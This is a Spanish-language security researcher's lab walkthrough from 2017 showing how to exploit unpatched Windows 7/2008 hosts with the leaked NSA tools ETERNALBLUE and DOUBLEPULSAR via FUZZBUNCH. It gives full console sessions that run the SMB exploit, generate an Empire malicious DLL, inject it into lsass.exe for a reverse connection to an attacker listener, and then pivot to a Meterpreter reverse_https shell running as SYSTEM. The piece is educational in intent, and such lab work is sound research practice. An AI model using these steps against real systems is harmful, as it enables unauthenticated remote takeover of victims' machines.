

# EXPLOTAR ETERNALBLUE & DOUBLEPULSAR PARA OBTENER UNA SHELL DE EMPIRE/METERPRETER EN WINDOWS 7/2008

Sheila A. Berta ([@UnaPibaGeek](#)) – Security Researcher at Eleven Paths

[shey.x7@gmail.com](mailto:shey.x7@gmail.com) || [sheila.bertha@11paths.com](mailto:sheila.bertha@11paths.com)

April 17, 2017

# Tabla de contenidos

EXPLOTAR ETERNALBLUE & DOUBLEPULSAR PARA OBTENER UNA SHELL DE EMPIRE/METERPRETER EN WINDOWS 7/2008 .....	1
Introducción.....	3
¿Por qué Eternalblue & DoublePulsar? .....	3
Preparando el entorno de laboratorio.....	3
Inicializando FuzzBunch .....	4
Atacando Windows 7/2008 con EternalBlue .....	6
Creando una DLL maliciosa con Empire.....	8
Inyectando la DLL maliciosa via DoublePulsar .....	9
Obteniendo la sesión de Empire .....	12
Migrando a Meterpreter .....	13
Palabras finales... ..	15

# Introducción

El 8 de abril de 2017, *TheShadowBrokers* publicó una gran cantidad de herramientas pertenecientes al Arsenal de “Hacking tools” de la NSA. Uno de los repositorios de GitHub es el siguiente: <https://github.com/misterch0c/shadowbroker>.

En este documento, haremos foco en el exploit para Microsoft Windows llamado *ETERNALBLUE* y el plugin *DOUBLEPULSAR*. Para aprovecharnos de ellos haremos uso de *FUZZBUNCH*: el “Metasploit” de la NSA.

## ¿Por qué Eternalblue & DoublePulsar?

Entre los exploits para Windows publicados por *TheShadowBrokers*, *ETERNALBLUE* es el único que puede ser usado para atacar Windows 7 y Windows Server 2008 sin necesidad de autenticación. Luego, podemos utilizar *DOUBLEPULSAR* para inyectar remotamente una DLL maliciosa en el equipo previamente atacado con *ETERNALBLUE*. Teniendo en cuenta que podemos inyectar la DLL que queramos, crearemos mediante *Empire*, una DLL maliciosa que realice una conexión inversa desde el equipo víctima hacia el equipo atacante.

## Preparando el entorno de laboratorio

Necesitamos configurar las siguientes tres máquinas dentro de la misma red LAN:

### 1. Máquina víctima (Windows 7/2008)

Una máquina con Windows 7/2008 será utilizada como target.

No necesitamos hacer nada adicional en este equipo, simplemente debemos conocer su dirección IP y asegurarnos que esté encendido cuando realicemos el ataque.

### 2. Máquina atacante 1 (Windows XP)

A menos que ejecutemos *FUZZBUNCH* en Linux mediante *WINE*, vamos a necesitar un Windows XP para ello. El framework está desarrollado en Python 2.6 y utiliza *PyWin32* en su versión 2.12 (versión antigua).

### 3. Máquina atacante 2 (GNU/Linux)

Finalmente, necesitaremos una instalación de Linux con *Empire* y *Metasploit*.

<https://github.com/EmpireProject/Empire>

<https://www.rapid7.com/products/metasploit/download/>

Una alternativa es usar *Kali Linux*.

***La guía de instalación de estas herramientas esta fuera del alcance de este documento.***

A continuación, las configuraciones de nuestro laboratorio:

- Windows 7 SP1 x64 – 192.168.1.109 → Target.
- Windows XP SP3 x32 – 192.168.1.108 → Atacante con *FUZZBUNCH*.
- Debian Jessie x64 – 192.68.1.105 → Atacante con *Empire* y *Metasploit*.

## Inicializando FuzzBunch

Haremos uso de *FUZZBUNCH*, el “Metasploit” de la NSA. Tal como se mencionó antes, este framework está desarrollado en Python 2.6 y usa una versión antigua de PyWin32, la v2.12.

Con esto en mente, instalaremos las siguientes herramientas en el Windows XP:

- *Python 2.6*: <https://www.python.org/download/releases/2.6/> (agregalo a la variable PATH de Windows)
- *PyWin32 v2.12*: <https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/>
- *Notepad++*: <https://notepad-plus-plus.org/download/> (Puedes usar simplemente *Notepad*).

Todos son instaladores ejecutables así que “siguiente, siguiente, siguiente...”.

Tras instalar lo necesario, podemos abrir un *cmd.exe* y movernos hasta la carpeta donde descargamos el *leak*, puntualmente donde se encuentra *FUZZBUNCH*: “fb.py” (dentro de la carpeta shadowbroker-master/Windows) y ejecutar “python fb.py”.

Probablemente, en esta primera ejecución, el script arroje un error debido a que no encuentra el directorio “ListeningPost”, lo cual ocurre porque dentro del *leak*, dicha carpeta se encuentra vacía.

Para reparar este error, debemos abrir el script “fb.py” con el Notepad++ y simplemente comentar la línea 72:

```
69     addplugins(fb, "Payload",          PAYLOAD_DIR, EDFPlugin)
70     addplugins(fb, "Touch",          TOUCH_DIR, EDFPlugin)
71     addplugins(fb, "ImplantConfig",  IMPLANT_DIR, EDFPlugin)
72     #addplugins(fb, "ListeningPost", LP_DIR, EDFPlugin)
73     addplugins(fb, "Special",        SPECIAL_DIR, DAVEPlugin, DeployableManager)
```

Adicionalmente, debemos abrir el archivo *Fuzzbunch.xml* de la misma carpeta y reemplazar las rutas de las líneas 19 y 24 por rutas que existan en nuestro sistema, por ejemplo:

```
16     <t:parameter name="ResourcesDir"
17               description="Absolute path of the Resources Directory"
18               type="String"
19               default="C:\NSA\Leak\shadowbroker-master\windows\Resources"/>
20
21     <t:parameter name="LogDir"
22               description="Absolute path of an Initial Log Directory"
23               type="String"
24               default="C:\NSA\Leak\shadowbroker-master\windows\Logs"/>
25
```

Ahora sí, ejecutamos nuevamente desde la terminal el comando "python fb.py" y deberíamos ver a FUZZBUNCH ejecutándose correctamente:

```
C:\Documents and Settings\Sheila>cd C:\NSA\Leak\shadowbroker-master\windows
C:\NSA\Leak\shadowbroker-master\windows>python fb.py
--I Version 3.5.1
[*] Loading Plugins
[*] Initializing Fuzzbunch v3.5.1
[*] Adding Global Variables
[*] Set ResourcesDir => C:\NSA\Leak\shadowbroker-master\windows\Resources
[*] Set Color => True
[*] Set ShowHiddenParameters => False
[*] Set NetworkTimeout => 60
[*] Set LogDir => C:\NSA\Leak\shadowbroker-master\windows\Logs
[*] Autorun ON
```

Cuando iniciamos FUZZBUNCH se nos pregunta la IP del target, allí debemos indicar la IP del Windows 7/2008 que esté actuando como equipo víctima.

Inmediatamente después, se nos pide la IP de callback, la cual sería la IP del Windows XP (Atacante).

```
[*] Retargetting Session
[?] Default Target IP Address [] : 192.168.1.109
[?] Default Callback IP Address [] : 192.168.1.108
[?] Use Redirection [yes] : no
```

Presionamos "enter" para continuar y se nos pedirá indicar un nombre al proyecto, en mi caso como se puede ver en la siguiente imagen, utilicé el que ya tenía creado "eternal1". Si no tienes ninguno, al presionar "enter" se te pedirá un nombre. Con ese dato se creará la carpeta de logs para ese proyecto.

```
[?] Base Log directory [C:\NSA\Leak\shadowbroker-master\windows\Logs] :
[*] Checking C:\NSA\Leak\shadowbroker-master\windows\Logs for projects
Index      Project
-----
0          eternal1
1          Create a New Project

[?] Project [0] :
[?] Set target log directory to 'C:\NSA\Leak\shadowbroker-master\windows\Logs\et
ernal1\z192.168.1.109' ? [Yes] :

[*] Initializing Global State
[*] Set TargetIp => 192.168.1.109
[*] Set CallbackIp => 192.168.1.108

[!] Redirection OFF
[*] Set LogDir => C:\NSA\Leak\shadowbroker-master\windows\Logs\eternal1\z192.168
.1.109
[*] Set Project => eternal1
fb >
```

## Atacando Windows 7/2008 con EternalBlue

El primer paso es seleccionar el exploit que vamos a usar, que es *ETERNALBLUE*, para ello ejecutamos: “use EternalBlue” en la terminal de *FUZZBUNCH*.

```
fb > use EternalBlue

[!] Entering Plugin Context :: Eternalblue
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 192.168.1.109

[*] Applying Session Parameters
[*] Running Exploit Touches

[!] Enter Prompt Mode :: Eternalblue

Module: Eternalblue
=====

Name                Value
-----
NetworkTimeout      60
TargetIp            192.168.1.109
TargetPort          445
VerifyTarget        True
VerifyBackdoor      True
MaxExploitAttempts  3
GroomAllocations    12
Target              WIN72K8R2
```

A partir de aquí, dejaremos con su configuración por defecto todos los parámetros que *FUZZBUNCH* nos pregunte, *EXCEPTO* el siguiente:

```
[!] Preparing to Execute Eternalblue

[*] Mode :: Delivery mechanism

 *0) DANE      Forward deployment via DARINGNEOPHYTE
 1) FB        Traditional deployment from within FUZZBUNCH

[?] Mode [0] : 1
[+] Run Mode: FB
```

En ese paso, cambiamos el modo a 1.

Finalmente, se nos preguntará si deseamos ejecutar *ETERNALBLUE*.

```
GroomAllocations      12
ShellcodeBuffer
Target                WIN72K8R2

[?] Execute Plugin? [Yes] : yes
[+] Executing Plugin
[*] Connecting to target for exploitation.
    [+1 Connection established for exploitation.
[*] Pinging backdoor...
    [+1 Backdoor not installed, game on.
[*] Target OS selected valid for OS indicated by SMB reply
[*] CORE raw buffer dump (28 bytes):
0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
0x00000010  73 69 6f 6e 61 6c 20 37 36 30 30 00                sional 7600.
[*] Building exploit buffer
[*] Sending all but last fragment of exploit packet
    .....DONE.
[*] Sending SMB Echo request
[*] Good reply from SMB Echo request
[*] Starting non-paged pool grooming
    [+1 Sending SMBv2 buffers
    .....DONE.
    [+1 Sending large SMBv1 buffer..DONE.
    [+1 Sending final SMBv2 buffers.....DONE.
    [+1 Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] Sending SMB Echo request
[*] Good reply from SMB Echo request
[*] Sending last fragment of exploit packet!
    DONE.
[*] Receiving response from exploit packet
    [+1 ETERNALBLUE overwrite completed successfully (0xC0000000)!
[*] Sending egg to corrupted connection.
[*] Triggering free of corrupted buffer.
[*] Pinging backdoor...
    [+1 Backdoor returned code: 10 - Success!
    [+1 Ping returned Target architecture: x64 (64-bit)
    [+1 Backdoor installed

=====
-----WIN-----
=====
[*] CORE sent serialized output blob (2 bytes):
0x00000000  08 00
[*] Received output parameters from CORE
[*] CORE terminated with status code 0x00000000
[+] Eternalblue Succeeded
```

Si todo salió bien, veremos al final el mensaje *“Eternalblue succeeded”*.

## Creando una DLL maliciosa con Empire

El siguiente paso es aprovechar *DOUBLEPULSAR* para inyectar remotamente una DLL maliciosa en el sistema impactado previamente con *ETERNALBLUE*. Para ello, debemos en primer lugar, crear la DLL. Por lo tanto, nos mudamos para el Linux donde tenemos instalado el framework *Empire* y realizamos los siguientes pasos:

**Paso 1:** Crear un listener que reciba la conexión inversa al inyectarse la DLL

```
(Empire) > listeners
[!] No listeners currently active
(Empire: listeners) > set Name Eternal
(Empire: listeners) > set Host http://192.168.1.105
(Empire: listeners) > set Port 8080
(Empire: listeners) > execute
[*] Listener 'Eternal' successfully started.
(Empire: listeners) > list

[*] Active listeners:

  ID   Name      Host                               Type
  --   -
  1    Eternal   http://192.168.1.105:8080        native
  --   -
  ID   Name      Host                               Type
  --   -
  iter KillDate  Redirect Target                    Type
  --   -
  1    Eternal   http://192.168.1.105:8080        native
  --   -

(Empire: listeners) > █
```

**Nota:** La dirección IP que debemos setear en el parámetro “Host” es la del propio Linux.

**Paso 2:** Crear la DLL maliciosa

```
(Empire: listeners) > usestager dll Eternal
(Empire: stager/dll) > set Arch x64
(Empire: stager/dll) > execute

[*] Stager output written out to: /tmp/launcher.dll

(Empire: stager/dll) > █
```

En este punto, ya tenemos nuestra DLL maliciosa en */tmp/launcher.dll*.

Simplemente debemos copiarla a la máquina atacante con Windows XP para poder usarla con *FUZZBUNCH*.



## Inyectando la DLL maliciosa via DoublePulsar

Volvemos al Windows XP y ejecutamos "use DoublePulsar" en la terminal de FUZZBUNCH.

```
fb Special (Eternalblue) > use DoublePulsar
[!] Entering Plugin Context :: Doublepulsar
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 192.168.1.109
[*] Applying Session Parameters
[!] Enter Prompt Mode :: Doublepulsar
Module: Doublepulsar
=====
Name          Value
-----
NetworkTimeout 60
TargetIp      192.168.1.109
TargetPort    445
OutputFile
Protocol      SMB
Architecture  x86
Function      OutputInstall
```

Nuevamente dejaremos con el valor por defecto todos los parámetros que FUZZBUNCH nos pregunte, hasta llegar a lo siguiente:

```
[+] Architecture :: Architecture of the target OS
*0) x86      x86 32-bits
   1) x64      x64 64-bits
[?] Architecture [0] : 1
[+] Set Architecture => x64
[*] Function :: Operation for backdoor to perform
*0) OutputInstall  Only output the install shellcode to a binary file on disk.
   1) Ping          Test for presence of backdoor
   2) RunDLL        Use an APC to inject a DLL into a user mode process.
   3) RunShellcode  Run raw shellcode
   4) Uninstall     Remove's backdoor from system
[?] Function [0] : 2
[+] Set Function => RunDLL
[*] DllPayload :: DLL to inject into user mode
[?] DllPayload [1] : C:\NSA\Leak\shadowbroker-master\windows\launcher.dll
[+] Set DllPayload => C:\NSA\Leak\shadowbroker-master\windows\launcher.d... (plus 2 characters)
[*] DllOrdinal :: The exported ordinal number of the DLL being injected to call
[?] DllOrdinal [1] : 1
[*] ProcessName :: Name of process to inject into
[?] ProcessName [lsass.exe] :
[*] ProcessCommandLine :: Command line of process to inject into
[?] ProcessCommandLine [ ] :
```

Allí debemos seleccionar correctamente la arquitectura del Windows 7/2008 que vamos a impactar, en mi caso es x64. Luego lo más importante: indicar que deseamos realizar una inyección DLL (Opción 2 – *RunDLL*).

Seguido a esto, se nos pedirá indicar la ruta local donde se encuentra la DLL en cuestión, la cual, es la que generamos con *Empire* y ya debemos tenerla copiada en este equipo para usarla ahora con *FUZZBUNCH*. El resto de los parámetros los dejamos con las configuraciones por defecto.

Finalmente, se nos pregunta si deseamos ejecutar *DOUBLEPULSAR*.

```
[!] Preparing to Execute Doublepulsar
[*] Redirection OFF

[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
[?] Destination IP [192.168.1.109] :
[?] Destination Port [445] :
[+] (TCP) Local 192.168.1.109:445

[+] Configure Plugin Remote Tunnels

Module: Doublepulsar
=====
Name                Value
-----
NetworkTimeout      60
TargetIp            192.168.1.109
TargetPort          445
DllPayload           C:\NSA\Leak\shadowbroker-master\windows\launcher.d
                   11
DllOrdinal          1
ProcessName         lsass.exe
ProcessCommandLine
Protocol            SMB
Architecture        x64
Function            RunDLL

[?] Execute Plugin? [Yes] : yes
```



## Obteniendo la sesión de Empire

Mientras tanto en la máquina con Linux donde tenemos el listener de Empire, recibimos la conexión inversa:

```
(Empire: stager/dll) > [+] Initial agent ITWXHGHHWZHLSSV4 from 192.168.1.109 now active
(Empire: stager/dll) > agents
[*] Active agents:
-----
Name           Internal IP      Machine Name    Username        Process         Delay    Last Seen
-----
ITWXHGHHWZHLSSV4 192.168.1.109  HACKME         *WORKGROUP\SYSTEM lsass/484       5/0.0   2017-04-16 02:49:21
(Empire: agents) > interact ITWXHGHHWZHLSSV4
(Empire: ITWXHGHHWZHLSSV4) > sysinfo
(Empire: ITWXHGHHWZHLSSV4) >
Listener:      http://192.168.1.105:8080
Internal IP:   192.168.1.109
Username:      WORKGROUP\SYSTEM
Hostname:     HACKME
OS:           Microsoft Windows 7 Professional
High Integrity: 1
Process Name: lsass
Process ID:   484
PSVersion:    2
```

**That's all, YOU WIN!**

## Migrando a Meterpreter

Empire nos permite ejecutar en la máquina víctima prácticamente las mismas cosas que el meterpreter de Metasploit. Sin embargo, podemos hacer la migración desde el *agente de Empire* al *listener de Meterpreter* muy fácilmente.

**Paso 1:** Configurar el listener de Meterpreter

```
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST 192.168.1.105
LHOST => 192.168.1.105
```

Es importante que usemos el payload “*windows/meterpreter/reverse\_https*”.

```
msf exploit(handler) > set LPORT 8888
LPORT => 8888
msf exploit(handler) > exploit

[*] Started HTTPS reverse handler on https://192.168.1.105:8888
[*] Starting the payload handler...
```

**Paso 2:** En Empire, ejecutar el módulo “*code\_execution*” para inyectar el código de Meterpreter

```
eEmpire: BALTB2SM2FGLCMKB) > usemodule code_execution/invoke_shellcod
(Empire: code_execution/invoke_shellcode) > set Lhost 192.168.1.105
(Empire: code_execution/invoke_shellcode) > set Lport 8888
(Empire: code_execution/invoke_shellcode) > execute
(Empire: code_execution/invoke_shellcode) >
Job started: Debug32_kupxm

Shellcode injected.
```

### Paso 3: Obtener la sesión de Meterpreter

```
msf exploit(handler) > exploit

[*] Started HTTPS reverse handler on https://192.168.1.105:8888
[*] Starting the payload handler...
[*] https://192.168.1.105:8888 handling request from 192.168.1.109; (UUID: h5wof
2bv) Staging Native payload...
[*] Meterpreter session 1 opened (192.168.1.105:8888 -> 192.168.1.109:49307) at
2017-04-16 16:33:04 -0300

meterpreter > sysinfo
Computer      : HACKME
OS           : Windows 7 (Build 7600).
Architecture : x64
System Language : es_AR
Domain       : WORKGROUP
Logged On Users : 2
Meterpreter  : x86/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > █
```

## Palabras finales...

Finalmente, hemos obtenido una shell de Meterpreter sobre un Windows 7 SP1 x64 sin necesidad de interacción del usuario de este equipo, tan solo con conocer su IP. Esto me recordó a la facilidad con la que se obtiene el acceso a un Windows XP mediante el *ms08\_067*.

Un detalle curioso es que, según el TimeStamp de *ETERNALBLUE*, la NSA tenía esto desde el 2011...

### *Agradecimientos:*

Por ayudarme a escribir este paper:

*Cristian Borghello (@crisborghe / @seguinfo).*

Por estar conmigo siempre que lo necesito:

*Claudio Caracciolo (@holesec).*

*Luciano Martins (@clucianomartins).*

*Ezequiel Sallis (@simubucks).*

*Mateo Martinez (@MateoMartinezOK).*

*Sol (@0zz4n5).*

*@DragonJar || @ekoparty || "Las Pibas de Infosec".*

--

Sheila A. Berta - @UnaPibaGeek.